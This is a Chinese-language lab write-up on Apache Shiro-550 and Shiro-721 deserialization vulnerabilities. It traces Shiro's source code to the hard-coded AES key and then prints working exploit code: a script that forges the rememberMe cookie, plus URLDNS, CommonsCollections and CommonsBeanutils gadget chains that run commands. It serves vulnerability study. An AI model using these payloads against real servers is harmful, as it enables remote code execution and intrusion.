shiro框架漏洞
Apache Shiro
Apache Shiro 是⼀个功能强⼤且易于使⽤的 Java 安全框架,它⽤于处理身份验证,授权,加密和会话
管理
在默认情况下 , Apache Shiro 使⽤ CookieRememberMeManager 对⽤户身份进⾏序列化/反序列化 , 加
密/解密和编码/解码 , 以供以后检索 .
因此 , 当 Apache Shiro 接收到未经身份验证的⽤户请求时 , 会执⾏以下操作来寻找他们被记住的身份.
从请求数据包中提取 Cookie 中 rememberMe 字段的值,对提取的 Cookie 值进⾏ Base64 解码,对
Base64 解码后的值进⾏ AES 解密,对解密后的字节数组调⽤ ObjectInputStream.readObject() ⽅法来
反序列化.
但是默认AES加密密钥是 “硬编码” 在代码中的 . 因此 , 如果服务端采⽤默认加密密钥 , 那么攻击者就可以
构造⼀个恶意对象 , 并对其进⾏序列化 , AES加密 , Base64编码 , 将其作为 Cookie 中 rememberMe 字段
值发送 . Apache Shiro 在接收到请求时会反序列化恶意对象 , 从⽽执⾏攻击者指定的任意代码 .
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产⽣原因是因为shiro接受了Cookie⾥⾯rememberMe
的值,然后去进⾏Base64解密后,再使⽤aes密钥解密后的数据,进⾏反序列化。
构造该值为⼀个利⽤链序列化后的值进⾏该密钥aes加密后进⾏base64加密,反序列化payload内容后就
可以命令执⾏。
shiro550 shiro <1.2.4漏洞复现
环境搭建
shiro下载 https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
环境 tomcat 8.5
jdk版本 1.8.0.65
idea 2021
⽤idea开 shiro-shiro-root-1.2.4\samples 设置⼀下pox.xml maven更新包
修改pom.xml 修改⼀下版本
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
如果测试cc3依赖可以添加
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
如果测试cc4
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.1</version>
</dependency>
当前测试测试环境pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>run.ergou</groupId>
<artifactId>JavaSec</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!--LDAP Server 提供内存⽬录服务-->
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<!--Log4j-->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.20.0-GA</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
<!--JNDI⾼版本限制绕过-加载本地类-->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
</project>
接着添加tomcat
接着启动tomcat即可
1.漏洞分析
shiro默认使⽤了CookieRememberMeManager,其处理cookie的流程是:
得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化
然⽽AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
payload 构造的顺序则就是相对的反着来:
恶意命令-->序列化-->AES加密-->base64编码-->发送cookie
在整个漏洞利⽤过程中,⽐较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修
改默认的密钥,就⾃⼰可以⽣成恶意构造的cookie了。
shiro特征:
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie⾥也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是
之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会
有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
2.代码分析
代码分析 ⾸先找到 org/apache/shiro/web/mgt/CookieRememberMeManager.java
public class CookieRememberMeManager extends AbstractRememberMeManager {
//TODO - complete JavaDoc
private static transient final Logger log =
LoggerFactory.getLogger(CookieRememberMeManager.class);
/**
* The default name of the underlying rememberMe cookie which is
{@code rememberMe}.
*/
public static final String DEFAULT_REMEMBER_ME_COOKIE_NAME =
"rememberMe";
private Cookie cookie;
/**
* Constructs a new {@code CookieRememberMeManager} with a default
{@code rememberMe} cookie template.
*/
public CookieRememberMeManager() {
Cookie cookie = new
SimpleCookie(DEFAULT_REMEMBER_ME_COOKIE_NAME);
cookie.setHttpOnly(true);
//One year should be long enough - most sites won't object to
requiring a user to log in if they haven't visited
//in a year:
cookie.setMaxAge(Cookie.ONE_YEAR);
this.cookie = cookie;
}
/**
* Returns the cookie 'template' that will be used to set all
attributes of outgoing rememberMe cookies created by
* this {@code RememberMeManager}. Outgoing cookies will match this
one except for the
* {@link Cookie#getValue() value} attribute, which is necessarily
set dynamically at runtime.
* <p/>
* Please see the class-level JavaDoc for the default cookie's
attribute values.
*
* @return the cookie 'template' that will be used to set all
attributes of outgoing rememberMe cookies created by
* this {@code RememberMeManager}.
*/
public Cookie getCookie() {
return cookie;
}
/**
* Sets the cookie 'template' that will be used to set all
attributes of outgoing rememberMe cookies created by
* this {@code RememberMeManager}. Outgoing cookies will match this
one except for the
* {@link Cookie#getValue() value} attribute, which is necessarily
set dynamically at runtime.
* <p/>
* Please see the class-level JavaDoc for the default cookie's
attribute values.
*
* @param cookie the cookie 'template' that will be used to set all
attributes of outgoing rememberMe cookies created
* by this {@code RememberMeManager}.
*/
@SuppressWarnings({"UnusedDeclaration"})
public void setCookie(Cookie cookie) {
this.cookie = cookie;
}
/**
* Base64-encodes the specified serialized byte array and sets that
base64-encoded String as the cookie value.
* <p/>
* The {@code subject} instance is expected to be a {@link
WebSubject} instance with an HTTP Request/Response pair
* so an HTTP cookie can be set on the outgoing response. If it is
not a {@code WebSubject} or that
* {@code WebSubject} does not have an HTTP Request/Response pair,
this implementation does nothing.
*
* @param subject the Subject for which the identity is being
serialized.
* @param serialized the serialized bytes to be persisted.
*/
protected void rememberSerializedIdentity(Subject subject, byte[]
serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware
instance. This is required to obtain a servlet " +
"request and response in order to set the
rememberMe cookie. Returning immediately and " +
"ignoring rememberMe operation.";
log.debug(msg);
}
return;
}
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response =
WebUtils.getHttpResponse(subject);
//base 64 encode it and store as a cookie:
String base64 = Base64.encodeToString(serialized);
Cookie template = getCookie(); //the class attribute is really a
template for the outgoing cookies
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}
private boolean isIdentityRemoved(WebSubjectContext subjectContext)
{
ServletRequest request = subjectContext.resolveServletRequest();
if (request != null) {
Boolean removed = (Boolean)
request.getAttribute(ShiroHttpServletRequest.IDENTITY_REMOVED_KEY);
return removed != null && removed;
}
return false;
}
/**
* Returns a previously serialized identity byte array or {@code
null} if the byte array could not be acquired.
* This implementation retrieves an HTTP cookie, Base64-decodes the
cookie value, and returns the resulting byte
* array.
* <p/>
* The {@code SubjectContext} instance is expected to be a {@link
WebSubjectContext} instance with an HTTP
* Request/Response pair so an HTTP cookie can be retrieved from the
incoming request. If it is not a
* {@code WebSubjectContext} or that {@code WebSubjectContext} does
not have an HTTP Request/Response pair, this
* implementation returns {@code null}.
*
* @param subjectContext the contextual data, usually provided by a
{@link Subject.Builder} implementation, that
* is being used to construct a {@link
Subject} instance. To be used to assist with data
* lookup.
* @return a previously serialized identity byte array or {@code
null} if the byte array could not be acquired.
*/
protected byte[] getRememberedSerializedIdentity(SubjectContext
subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTPaware instance. This is required to obtain a " +
"servlet request and response in order to
retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe
operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64
+ "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " +
(decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
找到 getRememberedSerializedIdentity⽅法
protected byte[] getRememberedSerializedIdentity(SubjectContext
subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTPaware instance. This is required to obtain a " +
"servlet request and response in order to
retrieve the rememberMe cookie. Returning " +
"immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
}
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (isIdentityRemoved(wsc)) {
return null;
}
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = getCookie().readValue(request, response);
// Browsers do not always remove cookies immediately (SHIRO-183)
// ignore cookies that are scheduled for removal
if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
if (base64 != null) {
base64 = ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 +
"]");
}
byte[] decoded = Base64.decode(base64); //这⾥需要base64解码
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded
!= null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
//no cookie set - new site visitor?
return null;
}
}
从代码上看到返回的是 base64解码之后的内容 接着寻找调⽤处
org/apache/shiro/mgt/AbstractRememberMeManager.java
public PrincipalCollection getRememberedPrincipals(SubjectContext
subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes =
getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes
exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes,
subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re,
subjectContext);
}
return principals;
}
convertBytesToPrincipals
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes,
SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
bytes = decrypt(bytes)的内容等会再看 现在 进⼊ deserialize
protected PrincipalCollection deserialize(byte[] serializedIdentity)
{
return getSerializer().deserialize(serializedIdentity);
}
进⼊ deserialize 发现是⼀个接⼝ 接着寻找实现接⼝的类
org/apache/shiro/io/DefaultSerializer.java
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new
ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}
发现调⽤原⽣的 T deserialized = (T) ois.readObject(); 导致存在反序列化漏洞
既然是硬编码反序列化漏洞 继续寻找 跟进 decrypt
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes,
SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted,
getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
getCipherService() 这⾥是获取密钥服务 加密⽅法是aes 跟进 decrypt getDecryptionCipherKey()
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
点击跟进 decryptionCipherKey 是⼀个私有字段 寻找赋值的地⽅
private byte[] encryptionCipherKey;
org/apache/shiro/mgt/AbstractRememberMeManager.java
public void setEncryptionCipherKey(byte[] encryptionCipherKey) {
this.encryptionCipherKey = encryptionCipherKey;
}
寻找 setEncryptionCipherKey调⽤
org/apache/shiro/mgt/AbstractRememberMeManager.java
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
接着setCipherKey调⽤
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
发现 DEFAULT_CIPHER_KEY_BYTES是⼀个常量
private static final byte[] DEFAULT_CIPHER_KEY_BYTES =
Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
kPH+bIxk5D2deZiIxcaaaA== 这个值就是shiro加密的硬编码
3.漏洞测试
⼀般测试都是⽤jdk原⽣态的URLDNS链
package shiro;
import java.io.File;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class Urldns {
public static void main(String[] args) throws Exception {
/*
利⽤链:
ObjectInputStream#readObject() ->
HashMap.readObject(ObjectInputStream in)
HashMap -> hash()
URL -> hashCode()
URLStreamHandler -> hashCode()
URLStreamHandler -> getHostAddress()
URL -> getHostAddress()
InetAddress -> getByName()
*/
HashMap hashMap = new HashMap();
URL url = new URL("http://shiro.677jye.dnslog.cn");
/*
URL:
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
HashMap.put()和本利⽤链都会执⾏⾄URL.hashCode()
*/
Field hashCodeField =
url.getClass().getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
// 阻⽌创建payload时触发请求
hashCodeField.set(url, 0);
hashMap.put(url, null);
// 使利⽤链执⾏时能够触发请求
hashCodeField.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new
FileOutputStream(new File("ser.bin")));
oos.writeObject(hashMap);
oos.close();
}
}
接着⽤脚本进⾏加密 kPH+bIxk5D2deZiIxcaaaA==这个编码⼀定对应。
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def get_file(name):
with open(name,'rb') as f:
data = f.read()
return data
def en_aes(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) %
BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
base64_ciphertext = base64.b64encode(iv +
encryptor.encrypt(pad(data)))
return base64_ciphertext
if __name__ == '__main__':
data = get_file("ser.bin")
print(en_aes(data))
登录⽬标上勾上 Remember Me
4.深⼊利⽤
由于Shrio对resolveClass进⾏了修改,导致数组类⽆法加载,因此原⽣的cc链是⽆法直接使⽤的
cc链
package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc {
public static void main(String[] args) throws NoSuchFieldException,
IllegalAccessException, IOException, NotFoundException,
CannotCompileException, ClassNotFoundException {
// 通过字节码构建恶意类
ClassPool classPool= ClassPool.getDefault();
String
AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.Abstrac
tTranslet";
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections3");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().e
xec(\"calc\");");
byte[] bytes=payload.toBytecode();
//CC3
TemplatesImpl templates = new TemplatesImpl();
// TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> aClass = templates.getClass();
Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,new byte[][]{bytes});
//CC2
InvokerTransformer invokerTransformer = new
InvokerTransformer("newTransformer", null, null);
//CC6
HashMap<Object, Object> map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazyMap.remove(templates);
Class<LazyMap> c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
serialize(map2);
}
public static void serialize(Object obj) throws IOException,
ClassNotFoundException {
ObjectOutputStream objectOutputStream = new
ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
unserialize("test.out");
}
public static Object unserialize(String Filename) throws IOException,
ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new
FileInputStream(Filename));
Object object = objectInputStream.readObject();
return object;
}
}
commons-beanutils cb 链⽆依赖利⽤链
package shiro;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CB1 {
// 修改值的⽅法,简化代码
public static void setFieldValue(Object object, String fieldName,
Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void main(String[] args) throws Exception {
// 创建恶意类,⽤于报错抛出调⽤链
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.
runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("new
java.io.IOException().printStackTrace();");
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().e
xec(\"calc\");");
byte[] evilClass = payload.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new
TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(null,
String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,
beanComparator);
queue.add("1");
queue.add("1");
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates,
templates});
ObjectOutputStream out = new ObjectOutputStream(new
FileOutputStream("ser.bin"));
out.writeObject(queue);
ObjectInputStream in = new ObjectInputStream(new
FileInputStream("ser.bin"));
in.readObject();
}
}
shiro721 CVE-2019-12422 漏洞详细
这两个漏洞主要区别在于Shiro550使⽤已知密钥碰撞,后者Shiro721是使⽤ 登录
后rememberMe= {value}去爆破正确的key值 进⽽反序列化,对⽐Shiro550条件只
要有 ⾜够密钥库 (条件⽐较低)、Shiro721需要登录(要求⽐较⾼鸡肋 )。
Apache Shiro < 1.4.2 默认使⽤ AES/CBC/PKCS5Padding 模式
1.漏洞详细
shiro721⽤到的加密⽅式是AES-CBC,⽽且其中的ase加密的key基本猜不到了,是系统随机⽣成的。⽽
cookie解析过程跟cookie的解析过程⼀样,也就意味着如果能伪造恶意的rememberMe字段的值且⽬标
含有可利⽤的攻击链的话,还是能够进⾏RCE的。
通过Padding Oracle Attack攻击可以实现破解AES-CBC加密过程进⽽实现rememberMe的内容伪造。
下⾯会有单独的篇幅讲Padding Oracle Attack。
影响版本:
1.2.5,
1.2.6,
1.3.0,
1.3.1,
1.3.2,
1.4.0-RC2,
1.4.0,
1.4.1
详细 说明 参考 https://blog.csdn.net/qq_41874930/article/details/121314926 这个⾯试的时候经常
也是考点。
2.漏洞测试
⼀次成功的Shiro Padding Oracle需要⼀直向服务器不断发包,判断服务器返回,攻击时间通常需要⼏个
⼩时。由于此漏洞利⽤起来耗时时间特别⻓,很容易被waf封禁,因此在真实的红队项⽬中,极少有此漏
洞的攻击成功案例
这⾥测试的时候cb这条利⽤链 如果在⽬标上最好测试urldns链。。